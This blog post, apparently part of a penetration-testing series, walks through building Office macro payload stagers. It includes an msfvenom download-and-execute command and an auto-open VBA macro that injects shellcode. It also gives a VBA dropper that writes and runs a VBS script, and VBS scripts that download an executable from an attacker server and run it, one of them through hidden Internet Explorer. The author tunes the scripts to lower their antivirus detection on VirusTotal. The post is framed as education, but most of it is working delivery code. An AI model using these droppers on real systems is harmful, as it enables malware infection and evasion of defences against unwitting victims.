In the realm of penetration testing, VBA (Visual Basic for Applications) and VBS (Visual Basic Script) macros are powerful tools for delivering payloads to target systems. These scripting languages, often embedded in Office documents, offer a stealthy method to execute malicious code.
In this series of articles I'll go through the exercises found in the book Advanced Penetration Testing by Wil Allsopp, other posts can be found at:
APT Insights Part 1: VBA and VBS
APT Insights Part 2: Command and Control
APT Insights Part 2.1: C/C++ Dev Environment with Visual Studio and vcpkg
As I progress through the book I'll try to find alternative solutions for the outdated methods/techniques, since the book was published in 2017 not all examples will work out-of-the-box. Despite the year of publication and based on the reviews the book is still a relevant entry-level read for those who want to gain insight into advanced penetration testing and how advanced persistent threats work behind the scenes.
Disclaimer: This content is for educational purposes only. The techniques and tools discussed are intended solely for ethical and legal penetration testing, and security research within the bounds of the law. Unauthorized use of these techniques on systems and networks that you do not own or have explicit permission to test is illegal and unethical. The author and publisher disclaim any responsibility for any misuse or damage resulting from the application of the information provided.
Payload Delivery Part 1: Learning How to Use the VBA Macro
VBA (Visual Basic for Applications) is a programming language developed by Microsoft that is used for writing macros to automate tasks within Microsoft Office applications like Excel, Word, and Access. It allows users to create custom functions, automate repetitive tasks, and enhance the functionality of Office applications.
In the following, I'll demonstrate how to (and NOT to) create a stager that executes a payload when the target opens a Word of Excel document.
- Stager: A loader or stager will merely load an extension of the malware into memory. The purpose is to keep the initial stage light and undetectable.
How NOT to Stage a VBA Attack
Using msfvenom during an engagement has several disadvantages, such as:
- Detectability: Code generated by
msfvenom
is often easily detected by antivirus and endpoint protection software because security professionals and malware analysts are familiar withmsfvenom
payload structures making it easier for them to create detection rules. - Limited Customization: The payloads may not offer the level of customization required for sophisticated attacks, limiting the ability to tailor the macro to specific environments or targets.
- Dependence on Metasploit: Using
msfvenom
ties you to the Metasploit framework, which may not always be desirable or practical for all testing scenarios. - Size Constraints: The generated payloads might be large, which can be problematic if there are size restrictions on the macro code.
- Compatibility Issues: The payloads might not be compatible with all versions of Office or could cause crashes, reducing the reliability of the attack.
Let's see some examples.
msfvenom-generated VBA macro code
The following command will create a VBA script that will download and execute a Windows executable from an URL:
msfvenom -p windows/download_exec -f vba -e x86/shikata_ga_nai -i 5 -a x86 --platform Windows URL=[url] -o msfvenom_vba.vba
As it can be seen below, the code is obfuscated and the shellcode is encoded using several iterations of the shikata-ga-nai algorithm.
- Shikata-Ga-Nai is a polymorphic xor additive feedback encoder within the Metasploit Framework. This encoder offers three features that provide advanced protection when combined. First, the decoder stub generator uses metamorphic techniques, through code reordering and substitution, to produce different output each time it is used, in an effort to avoid signature recognition. Second, it uses a chained self modifying key through additive feedback. This means that if the decoding input or keys are incorrect at any iteration then all subsequent output will be incorrect. Third, the decoder stub is itself partially obfuscated via self-modifying of the current basic block as well as armored against emulation using FPU instructions. (source: CodeXt: Automatic Extraction of Obfuscated Attack Code from Memory Dump)
Nonetheless, the payload is detected by Windows Defender (TrojanDownloader:O97M/Donoff) and most AV solutions regarding to virustotal.com.
Let's analyze the VBA macro generated by msfvenom.
In this section, 3 functions being imported from kernel32.dll. The purpose of these is to create a process thread, allocate memory for the shellcode and move the shellcode into that memory space.
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zqujob As Long, ByVal Hqq As Long, ByVal Ksjmihi As LongPtr, Bsrc As Long, ByVal Bbgmnyard As Long, Suhtftzn As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Qah As Long, ByVal Iipm As Long, ByVal Wilwsvwp As Long, ByVal Npbt As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Jsig As LongPtr, ByRef Lubxctra As Any, ByVal Ifaoojtgi As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Zqujob As Long, ByVal Hqq As Long, ByVal Ksjmihi As Long, Bsrc As Long, ByVal Bbgmnyard As Long, Suhtftzn As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Qah As Long, ByVal Iipm As Long, ByVal Wilwsvwp As Long, ByVal Npbt As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Jsig As Long, ByRef Lubxctra As Any, ByVal Ifaoojtgi As Long) As Long
#EndIf
The pattern of using VirtualAlloc
, RtlMoveMemory
, and CreateThread
matches known behaviors of malware.
The Auto_Open
, AutoOpen
, and Workbook_Open
subroutines ensure that the payload runs when the document is opened.
Sub Auto_Open()
Dim Ovp As Long, Ijtjcit As Variant, Dkrukpjet As Long
#If Vba7 Then
Dim Fbbnje As LongPtr, Ijil As LongPtr
#Else
Dim Fbbnje As Long, Ijil As Long
#EndIf
Ijtjcit = Array(217,192,217[...SNIP...])
Fbbnje = VirtualAlloc(0, UBound(Ijtjcit), &H1000, &H40)
For Dkrukpjet = LBound(Ijtjcit) To UBound(Ijtjcit)
Ovp = Ijtjcit(Dkrukpjet)
Ijil = RtlMoveMemory(Fbbnje + Dkrukpjet, Ovp, 1)
Next Dkrukpjet
Ijil = CreateThread(0, 0, Fbbnje, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
(!) This VBA macro could work as a demonstration in some lab environment which lacks any kind of AV solution but would fail miserably in a real world engagement.
VBA/VBS Dual Stager
In order to avoid detection by AV it is recommended not to use shellcode in the macro, the idea here is to use the VBA macro to drop a VBS script on disk and run it.
The following VBA macro will create a file called payload.vbs
and write VBS statements to it and runs the script:
Sub WritePayload()
Dim PayloadFile As Integer
Dim FilePath As String
FilePath = "C:\Users\winuser\Desktop\tmp\payload.vbs"
PayloadFile = FreeFile
Open FilePath For Output As TextFile
Print #PayloadFile, "Test 1"
Print #PayloadFile, "Test 2"
Print #PayloadFile, "Test 3"
Print #PayloadFile, "Test 4"
Close PayloadFile
Shell "wscript C:\Users\winuser\Desktop\tmp\payload.vbs"
End Sub
The following VBS script will download and run payload.exe
from the given URL:
HTTPDownload "http://192.168.1.4:8001/payload.exe", "C:\Users\winuser\Desktop\tmp\"
Sub HTTPDownload( myURL, myPath )
Dim i, objFile, objFSO, objHTTP, strFile, strMsg
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
If objFSO.FolderExists( myPath ) Then
strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev(myURL, "/" ) + 1 ) )
ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then
strFile = myPath
End If
Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )
Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )
objHTTP.Open "GET", myURL, False
objHTTP.Send
For i = 1 To LenB( objHTTP.ResponseBody )
objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )
Next
objFile.Close( )
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "c:\temp\payload.exe"
End Sub
As it can be seen below, after the VBA and VBS script were put together, the test run succeeded with the harmless payload.txt
, so far we didn't get any alerts from Windows Defender:
Attacker's HTTP server log
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...
192.168.1.160 - - [12/Jun/2024 17:17:32] "GET /payload.txt HTTP/1.1" 200 -
Victim's system
VirusTotal Results
VBA macro (passed)
The macro enabled test.docx
has a 0/66 hit rate on VirusTotal - File - 14f2de94a5ede2246cf57c135f0c591f29457f6f352f9cb0451b685ea5596d51.
VBS script (failed)
The VBS script itself triggers a lot of warnings, it resulted in a 10/64 hit rate on VirusTotal - File - 8c760b01809ecc01870c72cc5970d6f6b0a2180390072f41e680fea1f7c239dd.
Dechaining the VBS script
As I looked for solutions to achieve a lower AV hitrate on VirusTotal I stumbled upon the following article:
The following VBS script utilizes the Internet Explorer COM (as described in the above article) to spawn a browser from svchost to download content what later saved to disk:
'Open IE
Set ie = CreateObject("InternetExplorer.Application")
ie.Navigate "http://192.168.1.4:8001/testfile.txt"
'Make IE invisible
ie.Visible = False
' Wait until resource has finished loading (readyState == 4)
Do Until ie.readyState = 4
WScript.Sleep 100
Loop
' Load file contents into a variable
Dim payload
payload = ie.Document.Body.innerHTML
' Close IE
ie.Quit
Set ie = Nothing
' 3 sec delay
WScript.Sleep 3000
' Write payload to a file
Dim fso, outFile
Set fso = CreateObject("Scripting.FileSystemObject")
Dim filePath
filePath = "C:\Users\winuser\Desktop\tmp\testfile.txt"
Set outFile = fso.CreateTextFile(filePath, True)
outFile.Write payload
' 3 sec delay
WScript.Sleep 3000
' Run the payload
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Run filePath, 1, False
Set shell = Nothing
' Clean up
outFile.Close
Set fso = Nothing
Set outFile = Nothing
As it can be seen below, the vbs script itself passed the tests on VirusTotal with a 1/63 score, fair enough.
Conclusion
I’d like to emphasize that the above examples are a bit crude; there's room to improve both in terms of sophistication and stealth. This content is more like a presentation on how to approach this topic. As I progress through the book, in the next chapters, I’ll get into obfuscation and C2 basics, providing an entry point for those interested in creating more resilient and stealthy payloads.
Stay tuned for more techniques, and remember: with great power comes great responsibility. Use this knowledge ethically and always with permission from the system owner.